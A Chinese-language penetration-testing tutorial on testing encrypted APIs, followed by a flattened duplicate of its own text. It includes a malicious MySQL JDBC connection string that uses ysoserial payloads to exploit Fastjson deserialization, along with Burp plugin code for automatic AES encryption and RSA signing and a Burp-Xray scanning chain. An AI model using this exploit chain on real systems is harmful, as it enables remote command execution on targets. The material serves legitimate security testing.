记某次接口加密测试
字数 1755 2025-08-25 22:59:09

接口加密测试与Burp插件开发实战教程

0x00 前言

本教程将详细介绍如何进行接口加密测试,包括Fastjson漏洞利用、Burp插件开发以及自动化测试流程搭建。教程基于实际项目经验,适用于安全测试人员、渗透测试工程师和安全研究人员。

0x01 Fastjson漏洞利用

1. Fastjson漏洞识别

  1. 版本检测:检查目标系统使用的Fastjson版本,1.2.58及以下版本存在多个高危漏洞
  2. POC验证:使用DNSLog快速验证漏洞存在性
    • 构造恶意JSON数据触发DNS查询
    • 观察DNSLog平台是否收到请求

2. MySQL连接器利用

  1. 搭建Fake MySQL Server

    • 使用开源项目:https://github.com/fnmsd/MySQL_Fake_Server
    • 配置恶意MySQL服务监听3306端口
  2. 构造恶意连接字符串

mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • autoDeserialize=true:启用自动反序列化
  • queryInterceptors:指定恶意拦截器
  • user:使用ysoserial生成的payload
  1. 利用效果
    • 目标系统连接恶意MySQL服务
    • 触发反序列化漏洞执行任意命令

0x02 Burp插件开发

1. 分析目标加密机制

  1. 加密流程

    • 使用Fastjson序列化参数对象为JSON字符串
    • 使用AES加密JSON字符串作为data参数值
    • 使用RSA私钥签名生成sign参数值
    • 提交application/x-www-form-urlencoded格式请求
  2. 关键代码分析

// 序列化
String jsonStr = JSON.toJSONString(commonApplyDto);
// AES加密
String encryptedData = AESUtil.encrypt(jsonStr, aesKey);
// RSA签名
String sign = RSAUtil.sign(encryptedData, privateKey);

2. 开发Burp加密插件

  1. 基于现有插件修改

    • 使用chunked编码插件作为模板:https://github.com/c0ny1/chunked-coding-converter
    • 修改数据处理逻辑实现自动加密
  2. 插件核心功能

    • 自动将请求体JSON数据进行AES加密
    • 使用硬编码RSA私钥生成签名
    • 自动修改Content-Type为application/x-www-form-urlencoded
  3. 关键代码实现

// 加密处理流程
public byte[] processHttpMessage(byte[] request) {
    // 1. 提取原始JSON数据
    String jsonBody = extractJsonBody(request);
    
    // 2. AES加密
    String encryptedData = AES.encrypt(jsonBody, AES_KEY);
    
    // 3. RSA签名
    String sign = RSA.sign(encryptedData, PRIVATE_KEY);
    
    // 4. 构建新请求体
    String newBody = "data=" + URLEncoder.encode(encryptedData) + 
                    "&sign=" + URLEncoder.encode(sign);
    
    // 5. 修改Content-Type
    return modifyRequest(request, newBody, "application/x-www-form-urlencoded");
}
  1. 插件部署
    • 编译打包为Jar文件
    • 在BurpSuite中加载插件
    • 配置自动加密功能

0x03 自动化测试流程搭建

1. 测试架构设计

BurpSuite1 (构造请求) → Xray (漏洞扫描) → BurpSuite2 (自动加密) → 目标服务器

2. Content-Type处理方案

  1. 问题描述

    • Xray需要application/json才能正确解析JSON参数
    • 目标服务器需要application/x-www-form-urlencoded
  2. 解决方案

    • 在Burp插件中添加Content-Type转换逻辑
    • 处理流程:
      • BurpSuite1使用application/json发送请求
      • Xray正常解析JSON参数进行扫描
      • BurpSuite2插件将Content-Type改为application/x-www-form-urlencoded
      • 同时完成数据加密和签名

3. 联动测试配置

  1. BurpSuite1配置

    • 正常构造JSON格式测试用例
    • 转发请求到Xray监听端口
  2. Xray配置

    • 启用被动扫描模式
    • 配置上游代理为BurpSuite2
  3. BurpSuite2配置

    • 加载加密插件
    • 启用自动加密功能
    • 将请求发送到目标服务器

0x04 总结与最佳实践

1. Fastjson漏洞利用要点

  • 快速验证:使用DNSLog减少对目标的影响
  • 利用链选择:根据目标环境选择合适的ysoserial payload
  • 回连方式:考虑使用反连平台接收命令执行结果

2. Burp插件开发经验

  • 代码复用:基于现有插件修改提高开发效率
  • 配置灵活性:支持硬编码密钥和文件加载两种方式
  • 调试技巧:使用Burp的日志输出功能调试插件

3. 自动化测试建议

  • 测试流程:先手动验证少量接口,再扩展为自动化测试
  • 异常处理:插件应妥善处理加密失败等异常情况
  • 性能考虑:加密操作可能影响测试速度,适当优化

4. 扩展应用

  • 本方案可适用于其他加密接口测试场景
  • 可扩展支持多种加密算法和签名方式
  • 可集成更多自动化测试工具形成完整测试链

附录:关键代码片段

AES加密实现

public class AESUtil {
    private static final String ALGORITHM = "AES";
    private static final String TRANSFORMATION = "AES/ECB/PKCS5Padding";
    
    public static String encrypt(String data, String key) throws Exception {
        SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), ALGORITHM);
        Cipher cipher = Cipher.getInstance(TRANSFORMATION);
        cipher.init(Cipher.ENCRYPT_MODE, secretKey);
        byte[] encrypted = cipher.doFinal(data.getBytes());
        return Base64.getEncoder().encodeToString(encrypted);
    }
}

RSA签名实现

public class RSAUtil {
    public static String sign(String data, PrivateKey privateKey) throws Exception {
        Signature signature = Signature.getInstance("SHA256withRSA");
        signature.initSign(privateKey);
        signature.update(data.getBytes());
        byte[] signed = signature.sign();
        return Base64.getEncoder().encodeToString(signed);
    }
    
    public static PrivateKey getPemKey() throws Exception {
        String privateKeyPEM = "-----BEGIN PRIVATE KEY-----\n" +
                              "MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQ...\n" +
                              "-----END PRIVATE KEY-----";
        // PEM解析代码...
        return privateKey;
    }
}

通过本教程,您将掌握接口加密测试的全套技术栈,能够独立完成从漏洞发现到自动化测试的完整流程。

接口加密测试与Burp插件开发实战教程 0x00 前言 本教程将详细介绍如何进行接口加密测试,包括Fastjson漏洞利用、Burp插件开发以及自动化测试流程搭建。教程基于实际项目经验,适用于安全测试人员、渗透测试工程师和安全研究人员。 0x01 Fastjson漏洞利用 1. Fastjson漏洞识别 版本检测 :检查目标系统使用的Fastjson版本,1.2.58及以下版本存在多个高危漏洞 POC验证 :使用DNSLog快速验证漏洞存在性 构造恶意JSON数据触发DNS查询 观察DNSLog平台是否收到请求 2. MySQL连接器利用 搭建Fake MySQL Server : 使用开源项目:https://github.com/fnmsd/MySQL_ Fake_ Server 配置恶意MySQL服务监听3306端口 构造恶意连接字符串 : autoDeserialize=true :启用自动反序列化 queryInterceptors :指定恶意拦截器 user :使用ysoserial生成的payload 利用效果 : 目标系统连接恶意MySQL服务 触发反序列化漏洞执行任意命令 0x02 Burp插件开发 1. 分析目标加密机制 加密流程 : 使用Fastjson序列化参数对象为JSON字符串 使用AES加密JSON字符串作为 data 参数值 使用RSA私钥签名生成 sign 参数值 提交 application/x-www-form-urlencoded 格式请求 关键代码分析 : 2. 开发Burp加密插件 基于现有插件修改 : 使用chunked编码插件作为模板:https://github.com/c0ny1/chunked-coding-converter 修改数据处理逻辑实现自动加密 插件核心功能 : 自动将请求体JSON数据进行AES加密 使用硬编码RSA私钥生成签名 自动修改Content-Type为 application/x-www-form-urlencoded 关键代码实现 : 插件部署 : 编译打包为Jar文件 在BurpSuite中加载插件 配置自动加密功能 0x03 自动化测试流程搭建 1. 测试架构设计 2. Content-Type处理方案 问题描述 : Xray需要 application/json 才能正确解析JSON参数 目标服务器需要 application/x-www-form-urlencoded 解决方案 : 在Burp插件中添加Content-Type转换逻辑 处理流程: BurpSuite1使用 application/json 发送请求 Xray正常解析JSON参数进行扫描 BurpSuite2插件将Content-Type改为 application/x-www-form-urlencoded 同时完成数据加密和签名 3. 联动测试配置 BurpSuite1配置 : 正常构造JSON格式测试用例 转发请求到Xray监听端口 Xray配置 : 启用被动扫描模式 配置上游代理为BurpSuite2 BurpSuite2配置 : 加载加密插件 启用自动加密功能 将请求发送到目标服务器 0x04 总结与最佳实践 1. Fastjson漏洞利用要点 快速验证:使用DNSLog减少对目标的影响 利用链选择:根据目标环境选择合适的ysoserial payload 回连方式:考虑使用反连平台接收命令执行结果 2. Burp插件开发经验 代码复用:基于现有插件修改提高开发效率 配置灵活性:支持硬编码密钥和文件加载两种方式 调试技巧:使用Burp的日志输出功能调试插件 3. 自动化测试建议 测试流程:先手动验证少量接口,再扩展为自动化测试 异常处理:插件应妥善处理加密失败等异常情况 性能考虑:加密操作可能影响测试速度,适当优化 4. 扩展应用 本方案可适用于其他加密接口测试场景 可扩展支持多种加密算法和签名方式 可集成更多自动化测试工具形成完整测试链 附录:关键代码片段 AES加密实现 RSA签名实现 通过本教程,您将掌握接口加密测试的全套技术栈,能够独立完成从漏洞发现到自动化测试的完整流程。